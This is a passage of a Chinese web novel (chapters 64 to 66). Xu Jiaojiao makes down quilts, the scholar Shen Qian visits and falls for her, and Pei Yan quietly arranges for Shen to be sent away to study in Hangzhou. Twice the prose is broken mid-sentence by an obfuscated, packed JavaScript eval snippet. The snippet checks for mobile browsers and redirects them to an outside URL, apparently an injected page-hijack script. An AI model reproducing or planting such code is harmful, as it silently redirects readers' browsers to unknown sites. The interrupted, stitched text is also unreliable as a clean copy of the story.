她没有说话，只是微微低下头，长睫在眼底投下细碎的阴影。片刻后，她重新抬眼，目光清明如水。 “我.....明白。”她说，“张记会撑下去。小女也会。” 裴宴看着她，良久，点了点头。 窗外的天光已渐渐暗下来，有仆役进来掌灯。跳跃的火光映在裴宴侧脸上，将那双总是冷峻的眼眸映得柔和了些。 “不早了，”他道，“我让人送你回去。” “不必。”许娇娇摇头，“长风大哥还在外面等着。小女自己回去便是。” 裴宴没有坚持。他看着她敛衽告退，看着她的背影消失在门外，看着那扇门轻轻阖上。 他独自站在案前，许久未动。 方才与她说那番话时，他发现自己竟有一瞬的犹豫。 不是犹豫要不要收网。那张网从离京那日起就在织了，无论要付出什么代价，他都不会收手。 他犹豫的是，将她放在这网中的位置。 她问他需要她做什么。他说“什么都不必做”。 不是托词。他确实不需要她做什么。该查的已查清，该布的局已布下，她只需如常行医、如常生活，便是对庆和堂、对王兆仁、对他们背后那张庞大的网，最直接的掣肘。 可他真的只是因为这个，才特意叫她来，告诉她这些事吗？ 裴宴闭上眼。也许等着一切结束，就会有答案。 那就快一些罢。 快些收网，快些结案，快些让这江南道恢复它该有的清明。 到那时—— 到那时，她可以安心开她的药铺，安心种她的草药，安心过她一直向往的、平静安稳的日子。 而他，大约早已奉旨回京，与这江南小城再无瓜葛吧！ 裴宴将最后一份卷宗放回架上，吹熄了案头的灯。 64. 第64章 沈谦来访 自从那日裴宴说了那些话后，许娇娇心里总有些说不清道不明的心事，这一日，因为药铺确实病人少了很多，张东家便让她和廖大夫万大夫轮着休息两日。今日轮到她休，她便将心事撇过一边，放在了准备过冬上。静尘和静心更是忙碌——按照许娇娇的吩咐，她们从附近几户养鸭鹅的人家收来了几大袋羽毛，此刻正摊在院子里晾晒。 “这些毛要先晾干，仔细拣出里头的硬梗。”许娇娇蹲在竹席旁，戴着自己缝制的粗布口罩，一边翻捡着羽毛，一边轻声对静尘和静心解释道，“然后用大锅煮，加些皂角或草木灰，去一去腥气和油脂。煮透后捞出来，再反复漂洗，直到水清为止。” 静心拈起一根鹅绒，对着阳光眯眼看：“这么软的毛，当真能缝进被子里御寒？我从前只听人用芦花、柳絮做褥子。” “鹅绒鸭绒最是轻暖。”许娇娇微笑道，“只是处理起来麻烦些。这些毛洗净晒干后，还要用小筛子细细筛过，只留下最软最细的绒朵。然后缝进双层细布里，格子要密，针脚要匀，才不会跑绒。” 正说着，门外忽然传来叩门声。 静心擦了擦手：“我去看看。” 门一开，只见一个十二三岁的小厮立在门外，穿着半新的青布短衫，手里提着两个精致的点心盒子，盒盖上印着“馥郁楼”三个烫金小字。他身后，沈谦穿着一身月白色细葛直裰，外罩淡青色云纹夹衫，负手而立，面容清减了几分，却更显温润儒雅。 “静心师父。”沈谦微微颔首，目光却不由自主地越过她，往院内看去。 静心忙侧身让开：“沈公子怎么来了？快请进。” 沈谦缓步入院，目光在院中扫过——竹席上摊着的羽毛，井台边晾着的草药，老柳树下石桌上摊开的医书，还有正蹲在席旁、闻声抬头的许娇娇。 她今日穿了身半旧的藕荷色衣裙，袖子挽到肘部，露出两截白皙的小臂，头上只用一根木簪松松绾着发，几缕碎发垂在颊边。大约是忙着的缘故，脸颊微红，鼻尖沁着细细的汗珠，眼睛在秋阳下亮得惊人。 沈谦只觉得心头某处，轻轻动了一下。 “沈公子。”许娇娇已起身，拍了拍手上的浮尘，上前见礼，“您怎么来了？身子可大好了？” 沈谦忙虚扶一把：“许娘子不必多礼。我已痊愈了，今日……是路过此处，顺道来看看娘子。”他说着，示意小厮将点心递上，“区区薄礼，不成敬意。当日多亏娘子妙手回春，沈某方能捡回这条命。” 许娇娇让静尘接了点心，温声道：“公子言重了。治病救人乃医者本分，况且疫病期间，若非公子挺身而出协助安置灾民，也不会累得染病。该是小女向郎君道谢才是。” 两人这般客气着，一时竟有些无话。院子里静了下来，只有风吹树叶的沙沙声，和旺财在墙角扒拉羽毛的窸窣声。 沈谦的目光不由自主地又落在许娇娇脸上。比起疫病期间，她气色好了许多，眉眼间那种挥之不去的疲惫也淡了，只是人似乎清瘦了些，下巴尖尖的，衬得那双眼睛越发大了。 他忽然想起在仁心堂那些日子。昏沉中，总能听见她清泠柔和的声音，耐心地劝他喝药；偶尔睁眼，会看见她坐在一旁，就着油灯翻阅医书，侧脸沉静专注；还有那次换药，她指尖微凉，动作却极轻，生怕弄疼了他…… 那些画面，这些日子总在他脑海中浮现。起初他只当是感恩，可渐渐地，他发现不是。他会下意识留意与她有关的消息，会打听她是否安好，会惦记她独居在此是否缺什么。甚至中秋那夜，府中家宴热闹，他坐在席间，看着天上那轮满月，心里想的却是：她一个人，这个节过得可好？ 所以今日，他推了同窗的诗会，寻了个由头便来了。带着馥郁楼的点心，听下人说，那是菰城最好的点心铺子，小娘子们都喜欢。 “娘子这是在……”沈谦定了定神，指着竹席上的羽毛，找了个话头。 “哦，准备做些过冬的铺盖。”许娇娇顺着他的目光看去，“这些鹅绒鸭绒处理干净了，缝进被子里，冬日里盖着轻暖。” 沈谦有些惊讶：“用羽毛做被？这倒是新奇。寻常人家多用棉絮，也有用芦花的，羽毛……不怕有气味么？” “所以要反复煮洗。”许娇娇见他感兴趣，便细细解释起来，“其实古已有之。《岭外代答》中就有记载，西南夷人取鸟羽为被，轻暖胜于纤纩。只是处理起来繁琐，少有人做罢了。” 她说话时，眼神清亮，语气平和，没有半点卖弄的意思，只是单纯地分享所知。阳光透过柳树叶的缝隙洒在她脸上，映得肌肤莹润透明，那专注的神情，让沈谦看得有些移不开眼。 他轻咳一声，掩饰住心头那点异样，温声道：“娘子博闻强识，沈某佩服。”顿了顿，又关切道，“这些活计繁琐，娘子身子才刚好些，莫要太过劳累。” “不碍事的，有静尘静心帮我。”许娇娇笑了笑，引他到柳树下的石凳上坐下，“公子稍坐，我去沏茶。” “不必麻烦……”沈谦话未说完，许娇娇已转身往厨房去了。 他坐在石凳上，目光追随着她的背影。她走路的样子很好看，步子轻盈，腰背挺直，没有寻常女子那种刻意的袅娜，却自有一种清扬的气度。 小院简陋，却收拾得干净整齐。墙角那丛月季开得正好，深红浅粉，在秋阳下灼灼耀眼；井台边晾着的草药散发出清苦的香气；厨房门口，静尘和静心正低声说着什么，手脚麻利地收拾着羽毛。 一切都显得那么安宁，那么……有烟火气。 沈谦忽然觉得，自己往日读的那些诗书，参加的那些诗会文宴，那些风花雪月、清谈高论，在这样的安宁面前，竟有些虚浮了。 许娇娇很快端了茶出来。粗瓷茶壶，两个同样质地的杯子，茶是普通的野菊茶，热气袅袅，散发着淡淡的清香。 “陋室粗茶，公子莫怪。”她斟了一杯推到他面前。 沈谦双手接过：“娘子客气了。”他抿了一口，茶水温热，微苦回甘，恰如此刻心境。 两人对坐，一时又有些沉默。 沈谦握着茶杯，指尖无意识地摩挲着粗糙的杯壁。那磕痕硌着指腹，细细的，微涩，像某些说不出口的话，在喉咙里轻轻磨着。 他终是开了口。 “其实今日来，除了道谢，还有一事……”他顿了顿，抬眼看她，“我听下人说，娘子坐诊的张记生药铺遇到了麻烦？” 许娇娇微微一怔，随即点头：“你也听说了！” “是，下人说，是归平县王兆贵的铺子在大肆囤积药材？”沈谦声音不自觉的放大了些，随即意识到不妥，放缓了语气，“我虽然是读书人，却也听说过归平县王兆贵王大官人，听说是归平县的一霸。只因有个司户参军的兄弟，便嚣张跋扈如斯，那庆和堂便是他的产业……莫非他要对娘子不利？” 许娇娇抬眼看他。那双清澈的眼眸里没有惊慌，只有一种沉静的近乎坦然的从容。 “公子不必担心，”她说，“张记是遇到了一些事，但张东家能应付，小女也无妨。” 她不肯多说，沈谦也不好再问，只是心中那点担忧却更深了。他看着她平静的侧脸，心头忽然涌上一股强烈的、几乎难以抑制的冲动——想护着她，想让她不必这般小心翼翼，想让她能安心行医，过安稳的日子。 这种冲动如此强烈，以至于他几乎要脱口而出：若有难处，沈家可以帮你。 可他终究没有说出口。 不是因为不愿，而是因为，他忽然意识到，这样的话，或许会让她觉得是施舍，是居高临下的怜悯。而她，绝不是会接受这样帮助的女子。 “娘子若有什么需要帮忙的，”沈谦斟酌着字句，语气恳切，“尽管开口。沈某虽不才，在菰城也还有些人脉，或许能尽绵薄之力。” 许娇娇抬眼看他，眼中闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328041|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一丝讶异，随即化为温煦的笑意：“多谢公子好意。若有需要，小女不会客气的。” 她说得客气，沈谦却知道，她大概率是不会来找他的。 心头掠过一丝淡淡的失落，却也更添了几分欣赏。自立，自重，不攀附，不诉苦。这样的女子，他平生仅见。 又闲谈了几句，多是沈谦问些医理药性，许娇娇一一解答。她说起医术时，眼神格外明亮，言语清晰，深入浅出，连沈谦这个外行都听得入神。 不知不觉，日头已偏西。 小厮在门外探头探脑，沈谦知道该告辞了。他起身，目光在院中最后流连一圈，落在许娇娇脸上：“今日叨扰娘子了。” “公子言重了。”许娇娇送他到门口。 沈谦站在门槛外，转身看她。夕阳的余晖给她周身镀上了一层柔和的金边，她微微仰头看他，眼眸清澈如秋水。 “娘子保重。”他轻声说。 “公子也是。” 沈谦点点头，转身离去。走了几步，忍不住又回头——她还站在门口，见他回头，微微一怔，随即颔首示意。 他转过头，脚步却有些发沉。 心底那份说不清道不明的情愫，经此一见，非但没有淡去，反而愈发清晰了。 他想见她。想听她说话。想看她专注做事的样子。甚至……想护她周全，让她不必再这般如履薄冰地活着。 这种念头一旦生出，便如藤蔓般疯长，缠绕心头。 沈谦轻轻叹了口气。 他知道，这条路不好走。家世、门第、父母的期许、世俗的眼光……都是横亘在前的沟壑。 可是…… 他回头，巷子深处那扇木门已关上了。夕阳将他的影子拉得很长，孤零零地铺在青石板路上。 可是，他放不下。 与此同时，小院内，许娇娇闩好门，转身回到院中。 静尘正在收拾茶具，见她回来，轻声问：“沈公子走了？” “嗯。”许娇娇在石凳上坐下，望着竹席上的羽毛出神。 静尘犹豫了一下，还是开口：“娇杏，我看沈公子对你……很是上心。” 许娇娇回过神，淡淡一笑：“沈公子是知恩图报的君子，今日来，是为谢救命之恩。” “不止如此。”静尘摇头，“我看他看你的眼神……不一样。” 许娇娇沉默了片刻，轻声道：“师姐，我与沈公子，云泥之别。这些话，以后莫要再说了。” 静尘看着她平静的侧脸，欲言又止，终是叹了口气，不再多言。 许娇娇低头，继续拣选羽毛。指尖拂过柔软的绒朵，心思却有些飘远。 沈谦的心意，她何尝感觉不到？那样温润守礼的君子，那样不加掩饰的关切。 可是…… 想起那夜月光下，裴宴离去时的背影。想起他派人暗中保护这小院，想起他应下中秋之约，想起他听她陈述案情时的认真。 两个身影在脑海中交错，一个如月色清寒，一个如春水温润。让她的心绪有些纷乱。 许娇娇甩甩头，将那些杂念抛开。 眼下最重要的，不是这些儿女情长。而是水仙姑，是王大官人，是那些尚未清算的旧账，是头顶悬着的那把利刃。 她要活下去。要安生活下去。 至于其他……且随缘吧。 夕阳彻底沉下去了，暮色四合。小院里点起了油灯，昏黄的光晕中，三个女子继续忙碌着，将那些洁白的绒朵，一点点收集起来。 而巷外，沈谦缓步走着，脑海中尽是那双清澈的眼眸。 他知道自己该克制，该理智。 可是心这东西，一旦动了，又岂是理智能全然掌控的？ 秋风吹过，带来些许凉意。沈谦拢了拢衣袖，抬头望天——月牙初升，清辉淡淡。 来日方长。 他在心中默念。 65. 第65章裴宴的心思 长风是在午后得知柳枝巷那场探访的。 他手下一个机灵的小子响儿，按例在巷口“闲逛”时瞧见了沈谦主仆，便留了心。等沈谦离去，那小子寻了个由头偶遇了刘寡妇，又把了刘寡妇几个钱，三言两语便套出了话。沈家那位温文尔雅的嫡长孙，在许娘子院里待了大半个时辰，还带了馥郁楼的点心。 消息报到长风这儿时，他正蹲在行辕后院的石阶上，龇牙咧嘴地揉着屁股。虽说那行刑的同僚放了水，可终究是实打实地挨了整整二十军棍，坐卧之间总还透着几分不自在。 “头儿，这事儿……要报给安抚使吗？”那小子觑着长风的脸色，小心翼翼地问。 长风揉屁股的手停了停，眉头拧了起来。 他当然知道该报。郎主吩咐过，柳枝巷那边的动静，事无巨细都要回禀。可一想到上回因许娘子的事挨的军棍，他又有些踌躇——倒不是怕疼，而是摸不准郎主如今对许娘子到底是个什么心思。 若是寻常关切，沈家公子去探望救命恩人，再正常不过，报了也无妨。 可若…… 长风脑子里闪过中秋那夜，郎主从许娘子院里出来时，唇角那丝极淡的、几乎看不清的弧度。还有这些日子，郎主虽从未明说，可每次自己提起柳枝巷的消息时，郎主总会不动声色地多听几句。 “报。”长风站起身，拍了拍衣摆上的灰，“该怎么报就怎么报。郎组自有分寸。” 话虽如此，他往书房去的脚步却比平日慢了些。走到廊下时，正碰见明月抱着剑从里头出来。 “怎么？”明月看他那副磨磨蹭蹭的样子，挑眉。 长风凑过去，压低声音把事儿说了。 明月听完，沉默片刻，只道：“如实禀报便是。”顿了顿，又补了一句，“别添油加醋。” “我是那种人吗？”长风瞪眼。 明月没理他，转身走了。 长风深吸一口气，整了整衣襟，抬手叩门。 “进。” 裴宴的声音从里头传来，平静无波。 书房里窗明几净，案头堆着厚厚的文书。裴宴坐在书案后，正低头写着什么。午后阳光透过窗棂洒进来，在他肩头镀上一层淡金，也照见他微蹙的眉心和紧抿的唇线。 “郎主。”长风躬身行礼，“柳枝巷那边……有些动静。” 裴宴笔锋未停，只淡淡道：“说。” “今日未时三刻，沈府大公子去了许娘子住处。”长风尽量让语气显得客观，“带了个小厮，提了两盒馥郁楼的点心。在院里待了约莫半个时辰，许娘子亲自沏茶招待。两人在树下说话，内容听不真切，但看情形……相谈甚欢。” 他顿了顿，偷眼去看裴宴的脸色。 裴宴依旧垂眸写着，笔尖在宣纸上沙沙作响，行云流水，不见半分滞涩。只是若细看，便会发现那笔锋在“沈谦”二字出口时，几不可察地凝了一瞬。 “还有呢？”裴宴问，声音依旧平稳。 “沈大公子走后，许娘子和静尘师父收拾了茶具，又继续拣选羽毛。”长风老老实实地道，“此外……沈大公子去时，许娘子正在院里晾晒鹅绒鸭绒，说是要做什么羽绒被。沈大公子对此颇感兴趣，许娘子便与他讲解了一番。” 裴宴终于停了笔。 他将笔搁在青玉笔山上，缓缓靠向椅背，抬眼看过来。那双眸子在午后阳光下显得格外深邃，像是静潭，表面波澜不惊，底下却暗流涌动。 “说了多久？”他问。 长风心头一跳：“约莫……一刻钟。” 裴宴沉默着，指尖在扶手上轻轻叩击。一下，两下，三下。节奏平稳，力度均匀，却莫名让人心头发紧。 书房里静得能听见窗外梧桐叶落的声响。 良久，裴宴才重新开口，语气听不出什么情绪：“沈谦的身子，看来是大好了。” “是。”长风忙道，“瞧着气色不错，说话也中气十足。” “嗯。”裴宴应了一声，目光重新落回案上的文书，似是随口问道，“馥郁楼的点心……什么馅的？” 长风一愣，没想到大人会问这个，挠挠头：“这个……属下没细问。不过馥郁楼最出名的是枣泥酥和荷花酥，想来该是这两样。” 裴宴没说话，只点了点头。 又是枣泥。 他想起中秋那夜，许娇娇切开的月饼，枣泥核桃馅的，她吃得眉眼弯弯，说这是她最喜欢的口味。 沈谦倒也用心。 这个念头一闪而过，随即被裴宴按了下去。他重新提笔，蘸了墨，在文书末尾落下自己的名字。笔锋凌厉，力透纸背。 “下去吧。”他淡淡道，“柳枝巷那边，继续盯着。若有异常，随时来报。” “是。”长风如蒙大赦，躬身退了出去。 门轻轻合上。 书房里重归寂静。裴宴写完最后一笔，将笔搁下，却没有立刻处理下一份文书。他站起身，走到窗前。 窗外秋色已深，庭中几株枫树染了红，在夕阳下灼灼如火。远处传来隐约的市井人声，热闹，鲜活，却与他此刻的心境格格不入。 沈谦。 他在心中默念这个名字。 世家嫡子，温润如玉，才学品性皆属上乘。更重要的是，他就在菰城，就在她身边。可以随时去探望，可以带她喜欢的点心，可以听她说那些琐碎的、关于羽绒被的讲究。 而自己呢？ 裴宴垂眸，看着自己修长的手指。这双手批过无数文书，握过剑，执过印，却从未为她切过一块月饼，递过一杯热茶。 他远在京城，身负皇命，一举一动皆在众人眼中。即便此刻在江南，也是千头万绪，案牍劳形。他能给她的，不过是暗中派几个人护着，在听她陈情时认真听着，在中秋夜赴一场约。 除此之外，还能有什么？ 裴宴闭上眼，深吸一口气。秋日的风从窗缝钻进来，带着凉意，拂在脸上，让他清醒了几分。 不该想的。 他重新睁开眼，眸中那点波澜已平息下去，恢复了往日的冷静自持。转身回到书案前，拿起下一份文书——是孟知州呈报的灾后重建进度，厚厚一沓，亟待批阅。 他坐下，提笔，蘸墨。 笔尖落在纸上，却迟迟没有写下第一个字。 眼前晃动的，竟是长风那句“相谈甚欢”。还有更早之前，在仁心堂草棚里，沈谦望向许娇娇时，眼中那种毫不掩饰的欣赏与柔和。 裴宴搁下笔，揉了揉眉心。 他忽然想起那夜在柳枝巷，她仰头看他，眼眸清澈如秋水，倒映着漫天星斗。她说“谢谢您能来”时，声音很轻，却像羽毛一样，轻轻搔在他心上。 当时他觉得，这样就够了。 可现在…… 门外传来脚步声，是明月的声音：“郎主，赵先生求见，关于漕运账目的事。” 裴宴敛了神色：“让他进来。” 赵先生是裴宴幕僚中最擅长筹算的，为人十分谨慎。他进来时，手里捧着一摞账册，面色凝重。 “公，下官核对了这三年的漕运开支，发现几处疑点。”赵先生将账册摊开，指着上面几行数字，“您看这里，嘉佑二十年的修堤款项，比往年多出了三成，可当年并无特大水患。还有这里，船只维护的费用，连续两年递增，但实际在册的漕船数量并未增加……” 裴宴凝神听着，指尖在账册上划过，目光锐利如刀。那些儿女情长的杂念，在此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331501|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被彻底压下。他是钦差，身负皇命，江南漕运的贪腐大案才是他眼下最要紧的事。 可即便在听赵先生分析那些错综复杂的数字时，心底某个角落，仍有一个声音在低低地问： 沈谦今日与她，到底说了些什么？ 这个念头如影随形，直到暮色渐沉，赵先生告退离去，书房里重归寂静。 长风再次进来添灯时，见裴宴仍坐在案前，手里拿着份文书，却久久未翻一页。烛火跳动，在他脸上投下明明灭灭的光影。 “郎主，”长风小心翼翼地问，“可要用晚饭？” 裴宴抬眼，眸色在烛光下显得有些深：“不必。”顿了顿，又道，“前日让你查的事，如何了？” 长风一愣，随即反应过来是指水月庵的水仙姑和王兆贵，忙道：“已有眉目。王兆贵在归平县的几处产业，确实与漕运有些牵扯。尤其是他那个弟弟王兆仁，在司户参军任上，经手过不少漕粮仓储的事。” “证据呢？” “还在搜集。”长风道，“王兆仁做事很小心，账面上几乎看不出破绽。 裴宴眸光一冷。如果轻易能让人看到破绽，那崔琰也不会让一个蠢货做他的干儿子了。“继续派人盯紧。”他沉声道，“尤其是和王兆仁来往密切的人员。” “是。” 长风应下，却没有立刻退出去。他犹豫了一下，低声道：“郎主，还有一事……许娘子那边，要不要加派人手？沈大公子今日这一去，怕是会引人注目。” 裴宴沉默片刻。 “不必。”他缓缓道，“照旧即可。” 加派人手，反而显得欲盖弥彰。沈谦去探望救命恩人，在旁人看来再正常不过。若自己反应过度，反倒会惹人疑心。 只是…… 裴宴指尖无意识地摩挲着案上的镇纸。那是一方青玉雕成的貔貅，触手温润，却带着夜的凉意。 “你下去吧。”他淡淡道。 长风退了出去。 书房里又只剩他一人。裴宴站起身，走到博古架前，从最上层取下一个锦盒。打开，里头是中秋那夜许娇娇送的月饼。她特意多做了些，让长风带回来的。枣泥核桃馅的，用油纸仔细包着，放了这些日子，早已不能吃了。 可他一直留着。谁也没给。 烛火摇曳，映着锦盒里那些圆润的饼身。裴宴拿起一块，指尖抚过上面清晰的花纹。那是她亲手刻的模子，印出的桂花图案。 他记得那夜月光下，她切月饼时专注的侧脸。记得她递给他时，眼中那点小小的期待。记得她说“这是我最喜欢的口味”时，唇角扬起的、浅浅的笑。 那么真实，那么温暖。 可这样的温暖，沈谦也能见到。甚至，或许能见得更多。 裴宴将月饼放回锦盒，合上盖子。动作很轻，却带着一种决绝的意味。 不该有的心思，就该彻底斩断。 他是镇国公府的世子，是奉旨南下的钦差。他的路早已注定——回京，复命，继续在朝堂上步步为营。至于江南这场邂逅，不过是他漫长人生中的一段插曲，终将随风散去。 而许娇娇…… 裴宴望向窗外。夜色已浓，星子稀疏。 她有她的路要走。或许在菰城开一间小医馆，种一院子草药，平安顺遂地过完这一生。而沈谦，或许是能陪她走这条路的人。 门第相当，品性相合，又对她有情。 这样也好。 裴宴转身回到书案前，重新提笔。烛火将他的影子投在墙上，挺拔，孤直，却透着一股说不出的寂寥。 笔尖落在纸上，墨迹氤开。 他写得很快，字字凌厉，仿佛要将心头那点不该有的波澜，彻底镇压下去。 66. 第66章 劝学 卯初时分，天光未明。 裴宴已在庭院中练了半个时辰的剑。剑锋破空之声在清冷的晨雾中格外清晰，玄色劲装的身影腾挪辗转，招式凌厉却不见丝毫浮躁，每一剑都稳而准，仿佛要将心头那些不该有的波澜，一并斩碎在剑气里。 长风来换值时，远远便瞧见了。他推了推靠在廊柱上打盹的明月，用下巴示意：“主子今日怎么起这般早？” 明月刚值了夜，眼底带着倦色，闻言抬眸望了一眼，淡淡道：“练剑需要理由么？” 长风撇撇嘴，却也不敢耽搁，快步上前侍立在一旁。待裴宴收了势，他忙递上汗巾，又让小厮捧来温水、布帕。 裴宴接过汗巾，随意擦了擦额角的薄汗，神色平静如常，只是那双眸子里映着尚未褪尽的夜色，显得格外深邃。 梳洗毕，用了简单的早饭。清粥、小菜，并几样细点。裴宴吃得不多，放下碗筷时，窗外天色已透出些微鱼肚白。 “去尚书第。”他忽然开口，声音里听不出什么情绪。 长风一怔，忙应道：“是，小的这就吩咐备车。” 他心里嘀咕，前几日老太爷还打发人来请，说想外孙了，郎主总说公务繁忙脱不开身。怎的今日突然要去？还赶这么早…… 马车沿着清晨寂静的街道行驶，轱辘声在青石板路上格外清晰。裴宴坐在车内，闭目养神，指尖无意识地摩挲着腰间玉佩的纹路。 尚书第侧门，看门的老仆河伯正打着哈欠卸门闩，一抬眼看见那辆熟悉的青帷马车，顿时一个激灵，睡意全无。 “表、表公子！”河伯慌忙打开门，一叠连声地朝里头喊，“快去禀报老太爷！表公子来了！” 又转身对裴宴躬身，满脸堆笑：“公子快请进！老太爷前几日还念叨您呢！” 裴宴微微颔首，带着长风踏入府中。晨雾未散，尚书第庭院里草木沾着露水，显得格外静谧。穿过两道回廊，便是沈老太爷日常起居、处理外事的“松涛斋”。 沈老太爷沈渊已起身，正在书房临帖。听闻外孙来了，他放下笔，脸上露出笑意：“让他进来。” 裴宴入内，在书房中央端端正跪下磕头：“孙儿给外祖父请安。许久未来探望，是孙儿不孝。” “起来吧。”沈老太爷声音沉稳，带着久居上位的威严，看向裴宴的眼神却满是慈爱，“听说你这些日子忙得脚不沾地，赈灾、防疫、还要查案。辛苦了。” 裴宴起身，在下方椅子坐了半边，恭敬道：“孙儿分内之事，不敢言苦。倒是外祖父，秋日天凉，要多保重身子。水患后庄子上的事，交给管事们办便是，何必亲自操劳？” 沈老太爷摆摆手：“庄子上的事你不懂，那些管事，你不盯着，他们便敢糊弄。田产是根本，马虎不得。”他顿了顿，打量裴宴，“今日怎么得空来了？可是有什么事？” “并无要事。”裴宴道，“只是许久未来请安，心中不安。再者，前些日子表哥病着，孙儿一直挂心，想来看看他如今可大好了。” 提起沈谦，沈老太爷神色缓和了些：“谦儿命大，总算熬过来了。这几日能下地走动了，只是人清减了不少。”他看向裴宴，“说起这个，还要多谢那位在张记坐诊的许娘子。谦儿这次能捡回条命，她的医术确实了得。” 裴宴垂眸：“许娘子医者仁心，是表哥福泽深厚。” 沈老太爷点点头，端起茶盏抿了一口，忽然问道：“听说前几日，谦儿去柳枝巷道谢了？” 裴宴心头微动，面上依旧平静：“是。表哥知恩图报，是该去的。” “嗯。”沈老太爷放下茶盏，手指在紫檀木椅扶手上轻轻叩击，“那许娘子……你对她了解多少？” 这话问得有些深意。裴宴抬眼看外祖父，见他目光如炬，似是随意一问，却又带着审视。 “孙儿与她接触不多。”裴宴斟酌字句，“只知她医术精湛，在疫病中立下大功。至于身世……似乎有些坎坷，但为人磊落，心性坚韧。” 沈老太爷静静听着，未置可否。书房里一时安静下来，只有窗外晨鸟啁啾。 良久，沈老太爷才缓缓开口：“谦儿今年十九了。” 裴宴心下一凛，知道外祖父要说到正题了。 “他父亲在京为官，将他托付给我教养，是希望他能专心读书，将来考取功名，光耀门楣。”沈老太爷语气严肃，“沈氏以诗书传家，谦儿是嫡长孙，肩上的担子不轻。” “是。”裴宴应道，“表哥天资聪颖，读书刻苦，将来必有大成。” “光在州学读书，还不够。”沈老太爷摇头，“菰城虽好，终究偏安一隅。谦儿需要更开阔的眼界，更厚重的积淀。” 裴宴心中一动，顺势道：“外祖父说的是。孙儿听说，杭州万松书院，名师云集，学风鼎盛。山长方老先生更是当世大儒，今冬要在书院开讲《策论》。若能得方老指点，于表哥的学业定有裨益。” 沈老太爷眼中闪过一丝亮光：“万松书院……方守正老先生？” “正是。”裴宴道，“方老致仕前是国子监祭酒，学问人品皆为世人所重。孙儿在京时，曾听座师多次提及，言语间颇为推崇。” “你说得对。”沈老太爷点头，他端起茶盏，却没有立刻喝，指腹缓缓摩挲着温润的瓷壁。“谦儿是该出去见见世面。万松书院的机会难得，不能错过。” 他放下茶盏时，背脊不自觉地挺直了几分，“方守正……”沈老太爷眼中掠过一丝极淡的追忆，“当年在都察院时，便以学问刚直闻名。我任户部尚书时，为漕粮改制之事，还曾与他有过数番笔墨往来。此人确是不俗。”他微微颔首，话语间不经意带出了昔年身份与视野，“让他指点谦儿，不止是学问上的进益，那份立于朝堂而不折的风骨眼界，更是别处难求的历练。” 他当即唤来管家，吩咐，：“去告诉大公子，让他即日起用心准备，十日后动身赴杭州。我亲自修书一封给方山长。昔日同朝为官，总还有几分香火情在。你挑选两个老成稳妥、略通文墨的得力家人随行，一应起居行程，须得仔细安排。再从账上支取二百两银子并五十两金叶子，足够他在杭州体面安置，专心向学。从库房取些常用的药材备着，再让陈老先生斟酌几味温补调理又不显药气的丸散，便于携带服用。到了杭州，先在书院附近寻一处清静雅洁的院子赁下，要离书院近，但不必最繁华喧闹处，环境以利于读书养性为上。所有用度，皆从公中出，务必周全，勿使大公子为杂事分心。” 管家垂首应诺。 沈老太爷吩咐完毕，目光转向窗外庭院，沉静片刻，才缓缓道：“少年人，是该出去经些风雨，见见天地了。”这话既是对孙辈的期望，亦隐约透出几分对自己当年迈出乡关、步入风云的感怀。 方守正在士林中的声望非同凡响，若能送沈谦入万松书院，得方老指点，那真是求之不得的机缘。 裴宴垂眸喝茶，掩去眼底一闪而过的复杂神色。事情成了，他该松口气的。可不知为何，心头那点烦躁并未散去，反而添了一丝说不清道不明的……愧意。 他毕竟利用了外祖父对孙儿的期望，达成了自己的私心。 “宴儿。”沈老太爷忽然开口。 裴宴抬眼：“外祖父。” 沈老太爷深深看他一眼，缓缓道：“你比谦儿只小了半岁，却沉稳得多。这些年，你在京中不易，外祖父都明白。” 这话说得有些突兀，裴宴心头微震，面上却不露分毫：“孙儿只是尽本分。” “本分……”沈老太爷重复这两个字，忽然问，“你这次来江南，除了赈灾查案，可还有别的打算？” 裴宴沉默片刻，坦然道：“孙儿奉皇命而来，自当以公务为重。至于其他暂无。” 沈老太爷点点头，不再多问。祖孙俩又说了会儿话，多是朝堂动向、江南政事。裴宴拣能说的答了，言辞谨慎，滴水不漏。 茶水续过两巡，沈老太爷放下茶盏，似是不经意般提起： “你那位继母……待你可好？” 这话问得直接，全无方才闲话家常的迂回。裴宴执杯的手微微一顿，随即恢复如常。 “郑国公府高门显贵，”他淡淡道，语气平静得像在说一件与己无关的事，“继夫人掌中馈十余年，府中上下井然有序。孙儿常年在衙署当差，回府的时日不多，并无龃龉。” 并无龃龉。 沈老太爷咀嚼着这四个字，心里泛起一丝酸涩。 他是看着这外孙长大的。虽然只是幼时那几年，却也足够他看明白这孩子的心性。从不会诉苦，从不肯示弱，再难的事也只说无妨，再重的担子也只道应当。 如今他说并无龃龉，那便不是没有委屈，而是委屈都被他一个人咽下去了。 郑国公裴简，早年丧妻，续娶了京中世家出身的章氏。章氏进门时，裴宴不过四五岁，正是最需要母亲照拂的年纪。可继母终究是继母，面子上客气周全，里子却是冷是暖，只有这孩子自己知道。 沈老太爷想起多年前，女儿还在世时来信，说起裴宴幼时体弱，冬日畏寒，夜里总要奶娘抱着睡。后来女儿去了，这孩子一个人被留在京城。 他没有问过这孩子，那些年是怎么过来的。此刻想问，却不知从何问起。 “你十二岁入了国子监读书，”沈老太爷放轻了声音，“那时候，有人替你打算过吗？” 裴宴没有立刻回答。 他望着茶盏中那汪澄黄的茶汤，汤面平静无波，倒映着窗棂投下的细碎光影。 